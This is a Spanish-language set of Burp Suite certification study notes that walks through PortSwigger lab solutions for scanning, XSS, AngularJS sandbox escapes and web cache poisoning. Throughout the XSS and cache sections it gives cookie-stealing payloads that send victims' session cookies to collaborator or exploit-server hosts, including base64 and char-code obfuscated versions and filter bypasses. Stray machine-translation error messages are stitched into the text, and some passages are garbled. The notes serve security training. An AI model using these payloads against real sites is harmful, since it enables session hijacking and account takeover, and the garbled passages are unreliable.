
Notas de estudio prácticas y guías paso a paso para los laboratorios de PortSwigger Academy, que cubren vulnerabilidades web, payloads, enumeración y estrategias para el examen BSCP.
Estas son mis notas de estudio con más de 110 laboratorios de PortSwigger Academy. Usé estos laboratorios para aprobar el examen de Burp Suite Certified Practitioner en 2023. Mi certificación BSCP.
Para más información visita PortSwigger Academy para obtener los materiales de aprendizaje más recientes.
ESCANEO - Enumeración
Escaneo enfocado
Escaneo de entidades no estándar
PUNTO DE APOYO - Etapa 1
Descubrimiento de contenido
DOM-XSS
XSS Cross Site Scripting
Envenenamiento de caché web
Cabeceras de host
Contrabando de peticiones HTTP
Fuerza bruta
Autenticación
ESCALADA DE PRIVILEGIOS - Etapa 2
CSRF - Toma de control de cuenta
Restablecimiento de contraseña
SQLi - Inyección SQL
JWT - JSON Web Tokens
Contaminación de prototipos
Pruebas de API
Control de acceso
Endpoints de API GraphQL
CORS - Intercambio de recursos de origen cruzado
EXFILTRACIÓN DE DATOS - Etapa 3
XXE - Entidades XML e inyecciones
SSRF - Falsificación de peticiones del lado del servidor
SSTI - Inyección de plantillas del lado del servidor
SSPP - Contaminación de prototipos del lado del servidor
LFI - Recorrido de rutas de archivos
Subida de archivos
Deserialización
Inyección de comandos del sistema operativo
APÉNDICE
Scripts de Python
Payloads
Listas de palabras
Escaneo enfocado del objetivo
Enfoque
Contenido de entrenamiento adicional
Recomiendo hacer el Mystery lab challenge tantas veces como sea posible para poner a prueba tus habilidades y reducir el tiempo que te lleva identificar las vulnerabilidades, antes de hacer el examen.
También me resultó muy informativo este consejo de PortSwigger sobre Repetir tu examen.
Mira CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricks para una visión actualizada del examen BSCP en 2024.
Gracias por el café de apoyo,
\o/
Mi certificado de Burp Suite Certified Practitioner.
La enumeración de las aplicaciones web comienza con un escaneo inicial y dirigido en un compromiso con tiempo limitado.
Escaneo enfocado
Escaneo de entidades no estándar
Debido al estricto límite de tiempo durante los compromisos o el examen, escanea puntos de inserción definidos para peticiones específicas.

El escáner detectó una vulnerabilidad de inyección XML en el parámetro storeId y esto permitió leer el archivo secreto de Carlos.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>Solicitud XInclude fuera de banda, se necesita un DTD alojado para leer el archivo local.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
PortSwigger Lab: Discovering vulnerabilities quickly with targeted scanning
Escaneo de estructuras de datos no estándar utilizando la función de Burp para escanear el punto de inserción seleccionado para texto seleccionado en respuestas o solicitudes.

Identifica la vulnerabilidad a través de los resultados de problemas del escáner de Burp.
En este caso, utilizando el XSS identificado, roba las cookies del usuario administrador elaborando el payload en el punto de inserción identificado.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>Codifica por URL los caracteres clave.

>Usa la cookie del usuario administrador para acceder al panel de administración reemplazándola en la sesión actual del navegador.
[PortSwigger Lab: Escaneo de estructuras de datos no estándar](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# Acceso inicial
# Descubrimiento de contenido
>La enumeración del objetivo comienza con el fuzzing de directorios y archivos web. Usa las herramientas de engagement de Burp, la opción de descubrimiento de contenido para encontrar rutas y archivos ocultos, o usa `FFUF` para enumerar directorios y archivos web. Revisar `robots.txt` o `sitemap.xml` puede revelar contenido.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Herramienta de engagement de Burp, descubrimiento de contenido usando mi lista de palabras compilada burp-labs-wordlist como lista de archivos personalizada.

Examina las ramas del repositorio git en la copia local descargada, usando la herramienta
git-cola. Luego selecciona Deshacer último commit y extrae la contraseña de administrador de la ventana de diff.``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[Laboratorio de PortSwigger: Divulgación de información en el historial de control de versiones](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>Siempre abre el `source code` para buscar comentarios de desarrolladores que revelen archivos o rutas ocultas. El siguiente ejemplo conduce a [deserialización de tokens de symphony](#deserialization).

-----
## XSS basado en DOM
[Indicadores de XSS DOM](#identify-dom-xss)
[XSS DOM identificado con DOM Invader](#dom-invader)
[XSS DOM AngularJS](#vuln-angularjs)
[XSS DOM document.write en select](#doc-write-location-search)
[XSS DOM mensajes web JSON.parse](#dom-xss-jsonparse-web-messages)
[XSS DOM AddEventListener URL de JavaScript](#dom-xss-addeventlistener-javascript-url)
[XSS DOM AddEventListener mensaje de ads](#dom-xss-addeventlistener-ads-message)
[XSS DOM Eval reflejado que roba cookies](#reflected-dom-xss)
[XSS DOM Cookie LastviewedProduct](#dom-xss-lastviewedproduct-cookie)
### Identificar XSS DOM
>Las vulnerabilidades de XSS basado en DOM surgen cuando JavaScript toma datos de una fuente controlable por el atacante, como la URL, y pasa código a un sumidero (sink) que admite la ejecución dinámica de código.
>Prueba qué caracteres permiten escapar del punto de inyección del `source code`, usando la cadena del fuzzer a continuación.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
Revise el
código fuentepara identificar las fuentes , los sumideros o los métodos que puedan conducir a una explotación, lista de ejemplos:
Al usar el complemento Dom Invader y establecer el canary a un valor, como
domxss, detectará los sumideros DOM-XSS que pueden ser explotados.

La expresión de AngularJS a continuación puede inyectarse en la función de búsqueda cuando los corchetes angulares y las comillas dobles están codificados en HTML. La vulnerabilidad se identifica al notar que la cadena de búsqueda está encerrada en una directiva ng-app y que el script
/js/angular 1-7-7.jsestá incluido. Revise el código HTML para identificar la directivang-appque indica a AngularJS que este es el elemento raíz de la aplicación AngularJS.

Payload del laboratorio de PortSwigger a continuación:```JavaScript {{$on.constructor('alert(1)')()}}
>[Payload de robo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) usando `on.constructor` que puede colocarse en un iframe, alojado en un servidor de explotación, lo que resulta en el envío de la cookie de sesión de la víctima a Burp Collaborator.
>[Hoja de referencia de PortSwigger para cross site scripting](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
Nota: La propiedad de la cookie de sesión no debe tener el flag seguro HttpOnly establecido para que el XSS tenga éxito.

El objetivo es vulnerable a DOM-XSS en la función de comprobación de existencias.
source coderevela quedocument.writees el sink utilizado conlocation.search, lo que nos permite agregar el parámetro de consulta storeId con un valor que contenga el payload de JavaScript dentro de una declaración<select>.

Realice una prueba utilizando el siguiente payload para identificar la inyección en la solicitud GET modificada, usando
">para escapar.```html /product?productId=1&storeId=fuzzer">fuzzer

>DOM XSS [payload de robo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) en un sumidero `document.write` usando la fuente `location.search` dentro de un elemento `<select>`. Esto puede enviarse a la víctima mediante el servidor de explotación en un `

Al final de los valores de onload del iframe hay un "*", esto indica que el objetivo es cualquiera.
Establezca una cookie de prueba no segura en el navegador usando la consola de herramientas de desarrollo del navegador para usar durante las pruebas de POC XSS
payloads para robar cookies.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

[Laboratorio de PortSwigger: DOM XSS mediante mensajes web y JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>DOM Invader se utiliza para identificar y probar DOM XSS mediante mensajes web

>Reproduce el mensaje postMessage usando DOM Invader después de modificar los datos JSON.```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

PortSwigger: Identificar DOM XSS usando PortSwigger DOM Invader
Al revisar el
código fuentede la página, identificamos la llamadaaddeventlistenerpara un mensaje web, pero hay una condiciónifque comprueba si la cadena contienehttp/s.

El payload alojado en el servidor de exploit que se muestra a continuación incluye la cadena
httpsy logra omitir la comprobación de la condiciónif.```html

Una vez que la cookie de la víctima se actualiza, el registro del servidor de explotación captura el valor secreto de su cookie.
>Con la gran ayuda de ***ShehmeerAbidRajput*** actualicé este laboratorio con su payload de robo de cookies proporcionado.
[PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## Cross Site Scripting
[Recursos XSS](#xss-resources)
[Identificar etiquetas permitidas](#identify-allowed-tags)
[Evadir etiquetas bloqueadas](#bypass-blocked-tags)
[Asignar protocolo XSS](#xss-assign-protocol)
[Etiquetas personalizadas no bloqueadas](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[XSS de cadena reflejada](#reflected-string-xss)
[Escape adicional en cadena reflejada](#reflected-string-extra-escape)
[Escape de sandbox de AngularJS](#angularjs-sandbox-escape)
[XSS de plantilla literal](#xss-template-literal)
[XSS vía JSON en EVAL](#xss-via-json-into-eval)
[XSS almacenado](#stored-xss)
[XSS DOM almacenado](#stored-dom-xss)
[XSS en carga SVG](#xss-svg-upload)
### Recursos XSS
>Páginas de recursos XSS para consultar payloads de **etiquetas** y **eventos**.
+ [Hoja de referencia de Cross-site scripting (XSS)](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [Notas de estudio de HackTheBox CPTS sobre XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>La herramienta CSP Evaluator sirve para comprobar si hay una política de seguridad de contenido activa para mitigar ataques XSS. Por ejemplo, si falta `base-uri`, esta vulnerabilidad permitirá al atacante usar el método de explotación alternativo descrito en [Escalar self-XSS almacenado](#upgrade-stored-self-xss).
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>Cuando la longitud máxima del campo de entrada es de solo 23 caracteres, usa este recurso para **Tiny XSS Payloads**.
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>Establece una cookie de prueba no segura en el navegador usando la consola de herramientas de desarrollo del navegador para usar durante las pruebas de [payloads de robo de cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md) para XSS de prueba de concepto.```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
Payloads XSS básicos para identificar los controles de filtro de seguridad de la aplicación para manejar los datos recibidos en la solicitud HTTP.```html
I don't see any content to translate. The input after "INPUT:" is empty. Please provide the Markdown content for chunk 41 of 303.```html
"><svg><animatetransform onbegin=alert(1)>
I don't see any content to translate. The INPUT: section is empty in your message. Please provide the chunk text so I can translate it.```
<>'"
>El envío de los payloads anteriores puede generar un mensaje de respuesta, ***"Tag is not allowed"*** debido a que el Web Application Firewall (WAF) bloquea las inyecciones.
>Luego ***identifique*** las etiquetas permitidas usando la [Metodología de PortSwigger Academy](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).
>Codificadores y decodificadores en línea de URL y Base64
+ [Decodificar y codificar URL](https://www.urldecoder.org/)
+ [Decodificar y codificar BASE64](https://www.base64encode.org/)
>Este laboratorio ofrece una excelente **metodología** para ***identificar*** etiquetas HTML y eventos permitidos para crear un POC XSS.
>Aloje el código **iframe** en el servidor de exploit y entregue el enlace de exploit a la víctima.```html
Los controles de la aplicación muestran el mensaje, "Tag is not allowed" al insertar payloads XSS básicos, pero se descubre que el marcado SVG está permitido usando la metodología anterior. Este payload roba mi propia cookie de sesión como POC.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>Coloque el payload anterior en el servidor de explotación e inserte la URL con el valor de búsqueda en un ```iframe``` antes de entregarlo a la víctima en el bloque de código siguiente.```html

Laboratorio de PortSwigger: XSS reflejado con algo de marcado SVG permitido
#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=htmlLaboratorio para probar XSS en contexto HTML sin nada codificado en la función de búsqueda. Usando este laboratorio para probar el exploit de protocolo asignable con location en
javascriptidentificado por investigación de XSS de PortSwigger. En el payload está el%0aque representa el carácter de nueva línea ASCII.```html

[Laboratorio PortSwigger: XSS reflejado en contexto HTML sin codificación](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### Etiquetas personalizadas no bloqueadas
>La aplicación responde con el mensaje ***"Tag is not allowed"*** al intentar insertar payloads XSS, pero si creamos una etiqueta personalizada, esta se elude.```html
<xss+id=x>#x';
Identifica si la etiqueta personalizada anterior no está bloqueada en la función de búsqueda, observando la respuesta. Crea el siguiente payload para robar la cookie de sesión fuera de banda.```
>**Nota:** La etiqueta personalizada con el ID ```x```, que contiene un controlador de eventos **onfocus** que activa la función ```document.location```. El carácter **HASH** `#` al final de la URL enfoca este elemento tan pronto como se carga la página, haciendo que se llame al payload. Aloja el script del payload en el servidor de explotación en etiquetas ```script``` y envíalo a la víctima. A continuación se muestra el mismo payload pero en formato **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

z3n3sh3ll - explicando etiquetas personalizadas para ataques XSS
El iframe siguiente utiliza el carácter HASH
#al final de la URL para activar el roba-cookies XSS OnHashChange.```JavaScript
>Nota: si la cookie es segura con el flag **HttpOnly** habilitado, la cookie no puede ser robada mediante XSS.
>El payload de PortSwigger Lab ejecuta print.```JavaScript
Nota: Identifica la versión vulnerable de jquery 1.8.2 incluida en el
source codecon la acción del selector CSS en el hashchange.

Laboratorio de PortSwigger: DOM XSS en jQuery selector sink usando un evento hashchange
Crypto-Cat: DOM XSS en jQuery selector sink usando un evento hashchange
Al enviar una cadena de búsqueda y revisar el
source codede la página de resultados de búsqueda, se identifica que la variable de cadena de JavaScript refleja la cadena de búsquedatracker.gifen elsource codecon una variable llamadasearchTerms.```html
Usando un payload
test'payloady observa que una comilla simple se escapa con una barra invertida, evitando salir de la cadena.```JavaScript
>Cambiando el payload a un ladrón de cookies que entrega el token de sesión a Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

Al colocar este payload en
iframe, la aplicación objetivo no permite que se incruste y muestra el mensaje:refused to connect.
En el examen BSCP, aloja el siguiente payload en el servidor de exploit dentro de las etiquetas
<script>, y la consulta de búsqueda de abajo antes de que se codifique en URL.```
>Servidor de explotación que aloja vulnerabilidad reflejada en el término de búsqueda que se envía a la víctima para obtener su cookie de sesión.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
La aplicación dio el mensaje de error
Tag is not allowed, y esto se evade usando</ScRiPt >.
Observa en
source codela variable llamadasearchTerms, y al enviar el payloadfuzzer'payload, observa que la comilla simple está escapada con barra invertida, y luego envía unfuzzer\payloadpayload e identifica que la barra invertida no está escapada.``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>Usando una sola **barra invertida**, comilla simple y **punto y coma** escapamos de la variable de cadena de JavaScript; luego, usando comillas invertidas para encerrar la ruta ```document.location```, permitimos que el ladrón de cookies evite la protección de la aplicación.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
Con la ayuda de Trevor, convertí esto en un payload de robo de cookies, usando backticks. Gracias Trevor, aquí está su walkthrough de YouTube XSS JavaScript String Angle Brackets Double Quotes Encoded Single

Ejercicio de laboratorio de nivel experto de PortSwigger que utiliza AngularJS 1.4.4, y las versiones 1.x han llegado al final de su ciclo de vida y ya no reciben mantenimiento.
Este laboratorio usa AngularJS de una manera inusual, donde la función$evalno está disponible y no podrás usar cadenas en AngularJS.
Objetivo: realizar un ataque de cross-site scripting que escape del sandbox y ejecute el payload sin usar la función$eval.
Identifica el
angular.moduleen el código fuente de JavaScript:

El valor
searchde la variablekeyse inyecta en el JavaScript creado dinámicamente.
Aquí no hay ningún problema de seguridad evidente. Sin embargo, la seguridad de este código depende de cómo se utilicen este controlador y los valores extraídos en el back-end.
El método
$parseevalúa la expresión de AngularJS$scope.query.
Usando el
¶ añadir un segundo par clave-valor y probar el código dinámico generado por el payload.

Cambiando el nombre de la segunda clave añadida a expression para determinar si se evalúa,
/?search=key1value&7*7=payloady el resultado matemático es 49.

La construcción de un payload falla al usar
alert()como nombre de la segunda clave, debido a cómo AngularJS compila el código a través del parser.
Referencia de la CheatSheet de PortSwigger: escape del sandbox 1.4.4``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>Payload de Collaborator ***ladrón de cookies***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
Los valores decimales ASCII para cada carácter en la cadena de payload anterior, separados por comas. Cada número representa el valor decimal ASCII del carácter correspondiente en la cadena de payload.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>Script de Python para convertir cualquier payload a valores decimales ASCIII:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

Payload de Cookie Stealer en valor decimal ASCII, expresión AngularJS ejecutada a través del sandbox, de los pasos de la solución de PortSwigger:
toString() para crear una cadena sin usar comillas.charAt para cada cadena.orderBy.toString() para crear una cadena y la propiedad constructora de String.fromCharCode para generar nuestro payload convirtiendo códigos de caracteres en el payload de ejemplo x=alert(1).charAt ha sido sobrescrita, AngularJS permitirá que este código escape del Sandbox.
Laboratorio Experto de PortSwigger: XSS reflejado con escape del sandbox de AngularJS sin cadenas
El template literal de JavaScript se identifica por las comillas invertidas ` utilizadas para contener la cadena. En el código de la aplicación objetivo identificamos que la cadena de búsqueda se refleja dentro de una cadena de template literal.``` ${alert(document.cookie)}

>Gracias a ***Adrián Gyurácz***, por proporcionar un bypass increíble donde no logré obtener un ladrón de cookies funcional que eludiera todos los filtros de este laboratorio.
>***Adrián Gyurácz*** encontró el siguiente artículo de investigación de Portswigger que condujo a la solución:
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### Partiendo de lo anterior, su payload:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
Dado que la cookie de sesión original del laboratorio tiene banderas de protección, creó una cookie ficticia de prueba para la prueba de concepto:

Después de enviar el payload en la función de búsqueda, me llegó un hit del ladrón de cookies:

Espero que a otros les resulte útil su investigación, e incluirla en mi guía Tx.
Esta App de examen práctico de PortSwigger está realizando una función de búsqueda y DOM Invader identifica el sumidero en una función
eval(). Los resultados de búsqueda se colocan en el tipo de contenido JSON.

Prueba a escapar de los datos
JSONe inyecta el payload de prueba"-prompt(321)-"en el contenido JSON.

Al intentar obtener el valor de nuestra propia cookie de sesión con el payload
"-alert(document.cookie)-", se devuelve un mensaje de filtro que indica"Potentially dangerous search term".
WAF está bloqueando filtros y etiquetas de búsqueda peligrosos, por lo que evadimos los filtros del WAF mediante variables globales de JavaScript.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: Bypass filtros XSS usando variables globales de JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
>Abajo está el [payload principal para robar cookies](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) antes de codificarlo en BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
A continuación, codifique el payload usando el valor codificado en Base64 del payload de robo de cookies anterior.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>Probar el payload en nuestra propia cookie de sesión en la función de búsqueda.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
Desglosando las etapas de ensamblaje del payload anterior:
Esta imagen muestra a Burp Collaborator recibiendo el valor de mi cookie como prueba de concepto antes de configurar el payload para
Deliver exploit to victim.

URL Encode todos los caracteres de este payload y úselo como valor del parámetro
/?SearchTerm=.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>Alojar el `IFRAME` en el servidor exploit da un mensaje de **error**: "refused to connect to target". En su lugar, aloja el payload en el servidor exploit entre etiquetas `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

NOTA:
Deliver exploit to victimvarias veces si el usuario activo no envía una solicitud HTTP al colaborador. Reemplace el valor actual de la cookie con la cookie robada para hacerse pasar por el usuario activo y continúe con la Etapa 2 del Examen de Práctica.
PortSwigger Examen de Práctica - Etapa 1 - Foothold
El XSS almacenado también puede ser XSS ciego. Si el payload de alerta no se activa, consulte el video de NahamSec sobre blind xss para que la víctima haga clic, por ejemplo:
<svg/onload=import('//EXPLOIT.net/blind_xss')>
Si la entrada almacenada redirige a la víctima que hace clic en los enlaces, envíe una solicitud al servidor de explotación. Use el siguiente código de ejemplo para identificar XSS almacenado.```HTML![]()
>Las siguientes entradas de registro muestran las solicitudes realizadas al servidor de explotación, y a partir de los registros podemos ***identificar*** que `/img` y `/video` de las etiquetas anteriores fueron permitidos en la aplicación y realizaron solicitudes cuando se accedió a ellos.

>Cross-site Scripting guardado en el comentario de una entrada de blog. Este payload de robo de cookies luego envía la cookie de sesión de la víctima a los registros del servidor de explotación.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
Consulta de productos y tiendas```html ?productId=1&storeId=">
#### Entrada de blog Stored XSS
>Ladrón de cookies de entradas de blog Stored XSS que envía la cookie del documento al servidor de explotación.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
El objetivo que se muestra a continuación tiene una vulnerabilidad de XSS almacenado en la función de comentarios del blog. Roba la cookie de sesión de un usuario víctima que vea los comentarios después de que se publiquen y, a continuación, usa su cookie para realizar una suplantación de identidad.

Payload de robo de cookies en JavaScript mediante Fetch API en el comentario de la entrada del blog.```JavaScript
>[IPPSEC YouTube usando el HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), mostrando el código JavaScript de `payload.js` de cómo usa `fetch` y aprende JavaScript.
[Laboratorio PortSwigger: Explotando cross-site scripting para robar cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
#### Mejorar el self-XSS almacenado
>Comentario de blog con **self-XSS almacenado**, mejorando el payload para robar información de la víctima desde el DOM. La función **editar contenido** refleja la entrada en la etiqueta `<script>`. El token CSRF para **escribir comentario** es el mismo que el de las funciones **editar contenido**. El payload siguiente usa la función **escribir comentario** para hacer que la víctima cree una entrada de blog en su propio blog con nuestro contenido malicioso.
>El carácter `a` se añade para escapar del carácter `#` del `source code` inicial de la aplicación.
>El `source code` siguiente en la entrada de blog es el exploit completo para robar la información de la víctima.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
Este objetivo se explota mediante la construcción de una inyección HTML que sobrescribe una variable llamada
share_button; consulte elsource codea continuación y utiliza el código HTML anterior. El contenido se refleja en la página y, mediante este reflejo, se habilita la redirección de la página de la víctima a/editcon el uso de la etiquetameta http-equivpara recargar la página después de 1 segundo, lo que resulta en la redirección.
```
https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1
>Entregar exploit, al enviar a la víctima una URL que haga referencia a la entrada de blog anterior, se activará XSS en su contexto.
[intigriti - Mejora de Self-XSS - Solución al Desafío XSS del 22 de diciembre](https://youtu.be/FowbZ8IlU7o)
>Exploit alternativo usando inyección de HTML en la página de entrada de blog Edit Content, ***identificado*** usando [XSS Resources CSP check](#xss-resources).```
<base href="https://Exploit.net">
Aloja el archivo JS en el servidor de exploit como
static/js/bootstrap.bundle.min.js, con contenido:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
>El payload modificado del laboratorio de PortSwigger asigna la función `document.location` a la variable `defaultAvatar` la próxima vez que se carga la página, porque el sitio utiliza DOMPurify, que permite el uso del protocolo `cid:`, que no codifica en URL las comillas dobles.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
PortSwigger Lab: Explotando DOM clobbering para habilitar XSS
En el
código fuentede JavaScript, script incluidoresources/js/loadCommentsWithVulnerableEscapeHtml.js, identificamos la funciónhtml.replace()dentro de la función personalizadaloadComments. Al probar payloads, vemos que la función solo reemplaza la primera ocurrencia de<>.
```html
<>
>El payload anterior se almacena y cualquier usuario que visite el blog de comentarios hará que su cookie de sesión sea robada y enviada al colaborador.

>Payload del Laboratorio PortSwigger: `<>`.
[Laboratorio PortSwigger: DOM XSS almacenado](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## Envenenamiento de caché web
[Encabezado sin clave](#unkeyed-header)
[Utm_content sin clave](#unkeyed-utm_content)
[Camuflaje de utm_content](#cloaking-utm_content)
[Envenenamiento de solicitud ambigua](#poison-ambiguous-request)
[Envenenamiento de caché con múltiples encabezados](#cache-poison-multiple-headers)
### Encabezado sin clave
>El objetivo utiliza JavaScript **tracking.js**,
>y es vulnerable a la cabecera **```X-Forwarded-Host```** o **```X-Host```** que redirige la ruta,
>permitiendo el robo de cookies mediante el envenenamiento de la caché.
>***Identifica*** las cabeceras de caché web en la respuesta y el script tracking.js en el código fuente de la página.
>Explota la vulnerabilidad alojando JavaScript e inyectando la cabecera para envenenar la caché del objetivo y redirigir a la víctima que lo visita.
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

Alojando en el servidor de explotación, inyectando el encabezado
X-Forwarded-Hosten la solicitud y envenenando la caché hasta que la víctima acceda a la caché envenenada.``` /resources/js/tracking.js

>El cuerpo envía la cookie de sesión al servicio de colaboración.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
Sigue envenenando la caché web del objetivo reenviando la solicitud con el encabezado
X-Forwarded-Host.

Laboratorio de PortSwigger: Envenenamiento de caché web con un encabezado sin clave
Video de YouTube que muestra el payload del laboratorio anterior en el servidor de explotación modificado para robar la cookie de la víctima cuando la víctima accede a una entrada en caché en el servidor back-end. El payload es el JavaScript anterior.
YouTube: Envenenamiento de caché web con encabezado sin clave - ladrón de cookies
Extensión Param Miner para identificar vulnerabilidades de caché web
